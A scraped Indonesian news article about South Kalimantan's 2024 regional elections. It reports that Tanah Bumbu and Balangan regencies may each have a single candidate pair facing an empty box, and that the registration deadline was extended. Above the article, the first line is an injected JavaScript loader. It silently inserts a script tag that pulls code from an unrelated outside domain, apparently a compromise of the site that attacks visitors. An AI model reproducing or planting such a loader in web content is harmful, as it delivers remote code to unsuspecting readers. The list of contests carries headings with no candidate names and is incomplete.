(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Pemilihan Kepala Daerah (Pilkada) di Provinsi Kalimantan Selatan (Kalsel) berpotensi akan diwarnai calon tunggal melawan kotak kosong.
Potensi calon tunggal versus kotak kosong diprediksi bisa terjadi pada dua kabupaten dari 13 kabupaten kota di kalsel yang akan menggelar pemilihan. Pilkada calon tunggal bisa terjadi di Kabupaten Tanah Bumbu (Tanbu) dan Kabupaten Balangan.
Pasalnya, hingga hari terakhir pendaftaran bakal calon kepada daerah 29 Agustus 2024 kemarin pada dua kabupaten tersebut hanya ada masing-masing satu pasang pendaftar.
Dua daerah yang diprediksi bakal menghadapi kotak kosong diakui Ketua Komisi Pemilihan Umum (KPU) Provinsi Kalsel, Andi Tenri Sompa.
Baca juga: Gudang Tumpukan Ban Bekas Terbakar di Banjarmasin
“Ada perpanjangan waktu pendaftaran. Seperti di Kabupaten Tanah Bumbu yang akan dilakukan perpanjangan waktu pendaftaran hingga 1 September 2024 pukul 23.59 Wita dan di Kabupaten Balangan hingga 31 Agustus 2024,” ujar Ketua KPU Kalsel.
Pemilihan Bupati dan Wakil Bupati (Pilbup) di Kalsel yang berpotensi memunculkan calon tunggal melawan kotak kosong adalah Pilbup Kabupaten Balangan dan Pilbup Kabupaten Tanbu.
Di Balangan, hanya pasangan Abdul Hadi-Akhmad Fauzi yang mendaftar ke KPU Balangan. Pasangan petahana itu diusung PPP, Partai Nasdem, Partai Demokrat, PAN, PKS, Partai Golkar, dan Partai Gerindra.
Sementara di Tanbu, hanya ada pasangan Andi Rudi Latief-Bahsanudin yang mendaftar ke KPU Tanbu. Mereka diusung delapan partai politik yaitu Partai Golkar, Gerindra, PKB, PDIP, Demokrat, Nasdem, PKS, dan PAN.
KPU Tanbu melalui pengumuman resmi nomor 336/PL.02.2-Pu/6310/2/2024 mengumumkan perpanjangan pendaftaran calon pasangan kepala daerah. Perpanjangan pendaftaran dilakukan sampai dengan Minggu (1/9/2024) pukul 23.59 Wita.
Baca juga: Sejarah Hari Polwan, Diawali 6 Siswa Wanita Pilihan
Dalam pengumuman KPU Tanbu disebutkan, syarat minimal suara sah parpol atau gabungan parpol peserta Pemilu 2024 untuk mengusung paslon adalah 19.745 suara sah. Pengumuman perpanjangan waktu pendaftaran itu juga disampaikan melalui media sosial KPU Tanbu.
Berikut ini daftar nama bakal calon peserta Pilkada 2024 di Provinsi Kalsel (Pilgub-Pilbup-Pilwali) :
Pilgub Kalsel
Pilbup Tanah Bumbu (Tanbu)
Pilbup Balangan
Pilwali Banjarbaru
Baca juga: UMKM Hadir di Tugu Nol Kilometer Banjarbaru
Pilwali Banjarmasin
Pilbup Banjar
Pilbup Tabalong
Pilbup Hulu Sungai Selatan (HSS)
Pilbup Hulu Sungai Tengah (HST)
Pilbup Hulu Sungai Utara (HSU)
Baca juga: Bawaslu Kalsel Pilih Kelurahan Palam Desa Anti Politik Uang
Pilbup Tanah Laut (Tala)
Pilbup Kotabaru
Pilbup Tapin
Pilbup Barito Kuala (Batola)
Reporter: rizki
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Sekretaris Daerah (Sekda) Kota Banjarbaru Sirajoni menyampaikan dibalik efisiensi anggaran harus memberi… Read More
KANALKALIMANTAN.COM, PARINGIN - Kerusakan jalan di kawasan Muara Pitap - Lingsir dikeluhkan masyarakat pengguna jalan.… Read More
KANALKALIMANTAN.COM, MARTAPURA - Mahasiswa profesi ners Universitas Lambung Mangkurat (ULM) menggelar penyuluhan Keluarga Berencana (KB)… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas Dodo turun langsung ke pasar besar Kuala Kapuas… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 Penjabat (Pj) Kepala Desa… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menggelar forum konsultasi publik penyelenggaraan Mal Pelayanan Publik… Read More
This website uses cookies.